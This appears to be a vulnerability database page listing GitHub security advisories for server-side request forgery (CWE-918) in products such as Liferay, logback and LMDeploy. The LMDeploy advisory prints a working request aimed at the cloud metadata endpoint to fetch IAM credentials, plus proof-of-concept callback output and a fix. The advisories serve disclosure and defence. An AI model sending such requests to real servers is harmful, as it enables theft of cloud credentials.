Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4794 vulnerabilities reference this CWE, most recent first.

GHSA-6RGV-QR47-8W9G

Vulnerability from github – Published: 2022-06-16 00:00 – Updated: 2022-06-25 00:00
VLAI
Details

flatCore-CMS version 2.0.8 calls dangerous functions, causing server-side request forgery vulnerabilities.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-41403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-15T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "flatCore-CMS version 2.0.8 calls dangerous functions, causing server-side request forgery vulnerabilities.",
  "id": "GHSA-6rgv-qr47-8w9g",
  "modified": "2022-06-25T00:00:51Z",
  "published": "2022-06-16T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatCore/flatCore-CMS/issues/60"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6V67-2WR5-GVF4

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:06
VLAI
Summary
QOS.CH logback-core Server-Side Request Forgery vulnerability
Details

Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.

The attacks involves the modification of DOCTYPE declaration in  XML configuration files.

Severity
2.4 (Low)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:44Z",
    "nvd_published_at": "2024-12-19T17:15:08Z",
    "severity": "LOW"
  },
  "details": "Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.\n \nThe attacks involves the modification of DOCTYPE declaration in\u00a0 XML configuration files.",
  "id": "GHSA-6v67-2wr5-gvf4",
  "modified": "2025-01-03T19:06:48Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12801"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/5f05041cba4c4ac0a62748c5c527a2da48999f2d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core Server-Side Request Forgery vulnerability"
}

GHSA-6V6H-RFVH-83R8

Vulnerability from github – Published: 2026-04-01 09:31 – Updated: 2026-04-01 09:31
VLAI
Details

A vulnerability was determined in AutohomeCorp frostmourne up to 1.0. The affected element is an unknown function of the file frostmourne-monitor/src/main/java/com/autohome/frostmourne/monitor/controller/AlarmController.java of the component Alarm Preview. Executing a manipulation can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T08:16:05Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in AutohomeCorp frostmourne up to 1.0. The affected element is an unknown function of the file frostmourne-monitor/src/main/java/com/autohome/frostmourne/monitor/controller/AlarmController.java of the component Alarm Preview. Executing a manipulation can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-6v6h-rfvh-83r8",
  "modified": "2026-04-01T09:31:27Z",
  "published": "2026-04-01T09:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5259"
    },
    {
      "type": "WEB",
      "url": "https://fx4tqqfvdw4.feishu.cn/docx/GE4GdxBxKoSvBOxhkTRcsawlnhc?from=from_copylink"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/780669"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354449"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354449/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6V93-FRF9-2RP8

Vulnerability from github – Published: 2025-08-09 06:30 – Updated: 2025-12-20 03:23
VLAI
Summary
Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery
Details

Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allow a pre-authentication blind SSRF vulnerability in the portal-settings-authentication-opensso-web component due to improper validation of user-supplied URLs. An attacker can exploit this issue to force the server to make arbitrary HTTP requests to internal systems, potentially leading to internal network enumeration or further exploitation.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.portal.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.4.0"
            },
            {
              "last_affected": "7.4.3.132"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2025.Q1.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.Q1.0"
            },
            {
              "fixed": "2025.Q1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q4.0"
            },
            {
              "last_affected": "2024.Q4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q3.1"
            },
            {
              "last_affected": "2024.Q3.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q2.0"
            },
            {
              "last_affected": "2024.Q2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2024.Q1.15"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2024.Q1.0"
            },
            {
              "fixed": "2024.Q1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.liferay.portal:release.dxp.bom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.4.13.u92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-11T17:49:09Z",
    "nvd_published_at": "2025-08-09T05:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.7, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.15, and 7.4 GA through update 92 allow a pre-authentication blind SSRF vulnerability in the portal-settings-authentication-opensso-web component due to improper validation of user-supplied URLs. An attacker can exploit this issue to force the server to make arbitrary HTTP requests to internal systems, potentially leading to internal network enumeration or further exploitation.",
  "id": "GHSA-6v93-frf9-2rp8",
  "modified": "2025-12-20T03:23:20Z",
  "published": "2025-08-09T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-4581"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal and Liferay DXP vulnerable to Server-Side Request Forgery"
}

GHSA-6VC2-FW8R-6XJF

Vulnerability from github – Published: 2024-03-05 18:31 – Updated: 2024-08-29 21:31
VLAI
Details

A Server-Side Request Forgery (SSRF) in weixin.php of ChatGPT-wechat-personal commit a0857f6 allows attackers to force the application to make arbitrary requests.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T17:15:07Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Request Forgery (SSRF) in weixin.php of ChatGPT-wechat-personal commit a0857f6 allows attackers to force the application to make arbitrary requests.",
  "id": "GHSA-6vc2-fw8r-6xjf",
  "modified": "2024-08-29T21:31:02Z",
  "published": "2024-03-05T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27565"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dirk1983/chatgpt-wechat-personal/issues/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6VCR-W6P9-3J89

Vulnerability from github – Published: 2024-01-08 09:30 – Updated: 2024-01-08 09:30
VLAI
Details

A vulnerability, which was classified as critical, was found in Youke365 up to 1.5.3. Affected is an unknown function of the file /app/api/controller/caiji.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249870 is the identifier assigned to this vulnerability.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-0303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-08T08:15:36Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in Youke365 up to 1.5.3. Affected is an unknown function of the file /app/api/controller/caiji.php of the component Parameter Handler. The manipulation of the argument url leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249870 is the identifier assigned to this vulnerability.",
  "id": "GHSA-6vcr-w6p9-3j89",
  "modified": "2024-01-08T09:30:34Z",
  "published": "2024-01-08T09:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0303"
    },
    {
      "type": "WEB",
      "url": "https://note.zhaoj.in/share/fssH60eQkvSl"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.249870"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.249870"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6VJ9-H2J2-WMPR

Vulnerability from github – Published: 2025-08-07 21:31 – Updated: 2025-08-07 21:31
VLAI
Details

Azure OpenAI Elevation of Privilege Vulnerability

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-07T21:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "Azure OpenAI Elevation of Privilege Vulnerability",
  "id": "GHSA-6vj9-h2j2-wmpr",
  "modified": "2025-08-07T21:31:08Z",
  "published": "2025-08-07T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53767"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53767"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W29-398V-27RJ

Vulnerability from github – Published: 2025-03-12 09:30 – Updated: 2025-04-02 15:31
VLAI
Details

The Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.2 via the 'call_webhook' method of the Automator_Send_Webhook class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-12T07:15:36Z",
    "severity": "MODERATE"
  },
  "details": "The Uncanny Automator \u2013 Easy Automation, Integration, Webhooks \u0026 Workflow Builder Plugin plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 6.2 via the \u0027call_webhook\u0027 method of the Automator_Send_Webhook class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-6w29-398v-27rj",
  "modified": "2025-04-02T15:31:11Z",
  "published": "2025-03-12T09:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13838"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3249921/uncanny-automator/trunk/src/core/lib/webhooks/class-automator-send-webhook.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29eeac86-6b33-49e6-a7e1-c80dee383d6f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6W53-8MCC-FQQH

Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30
VLAI
Details

A security flaw has been discovered in horizon921 mcpilot 0.1.0. The impacted element is an unknown function of the file client/src/app/api/mcp/call/route.ts of the component MCP API Call Endpoint. The manipulation of the argument serverBaseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10280"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T19:16:20Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in horizon921 mcpilot 0.1.0. The impacted element is an unknown function of the file client/src/app/api/mcp/call/route.ts of the component MCP API Call Endpoint. The manipulation of the argument serverBaseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-6w53-8mcc-fqqh",
  "modified": "2026-06-01T21:30:42Z",
  "published": "2026-06-01T21:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10280"
    },
    {
      "type": "WEB",
      "url": "https://github.com/horizon921/mcpilot/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/horizon921/mcpilot"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10280"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825426"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367573"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367573/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6W67-HWM5-92MQ

Vulnerability from github – Published: 2026-04-21 15:04 – Updated: 2026-04-21 15:04
VLAI
Summary
LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

  • Tested on: main branch (2026-02-04)
  • Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

  1. No validation of URLs before fetching
  2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
  3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
  4. API keys disabled by default

Attack Scenario

  1. LMDeploy server deployed with vision-language model
  2. Attacker sends request to /v1/chat/completions with malicious image_url:
POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}
  1. Server fetches URL without validation
  2. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

  • Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
  • Internal Service Access: Reach services not exposed to internet
  • Information Disclosure: Port scan internal networks
  • Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T15:04:13Z",
    "nvd_published_at": "2026-04-20T21:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy\u0027s vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -\u003e Image.Image:\n    # ...\n    if image_url.startswith(\u0027http\u0027):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  LMDeploy SSRF Vulnerability - Proof of Concept                       \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n\u2705 SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),\n]\n\ndef is_safe_url(url: str) -\u003e bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security\u0027s research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security",
  "id": "GHSA-6w67-hwm5-92mq",
  "modified": "2026-04-21T15:04:13Z",
  "published": "2026-04-21T15:04:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/pull/4447"
    },
    {
      "type": "WEB",
